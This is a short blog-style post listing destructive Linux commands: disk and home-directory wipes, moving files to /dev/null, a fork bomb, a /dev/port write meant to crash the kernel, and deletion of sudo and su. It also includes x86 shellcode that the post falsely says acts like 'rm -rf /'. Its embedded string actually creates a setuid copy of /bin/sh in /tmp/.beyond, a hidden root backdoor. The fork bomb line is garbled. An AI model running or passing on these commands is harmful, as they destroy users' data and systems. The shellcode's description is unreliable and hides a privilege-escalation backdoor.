1. 这些命令将清除你的主目录，根或只是将整个磁盘清理:

• sudo rm -rf /
• rm -rf .*
• dd if=/dev/zero of=/dev/sda
• mkfs.ext3 /dev/hda
• whatever > /dev/hda
• cd ~; for x in `ls`; do mv -f $x $y; y=$x; done
• find -type f -mtime +30 -exec mv {} /dev/null \;
• mv ~ /dev/null
• mv / /dev/null

2. Causes kernel panic or freezes Linux box:

• dd if=/dev/random of=/dev/port
• ){:|:&};: #also known as fork bomb

3. This one does the same as “rm -rf /”:

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

4. This one will prevent you from executing commands with root rights:

rm -f /usr/bin/sudo;rm -f /bin/su

If you know any other commands that can damage running Linux system or pose fatal problem to system administrators — just comment it here so I could update this post. Thanks.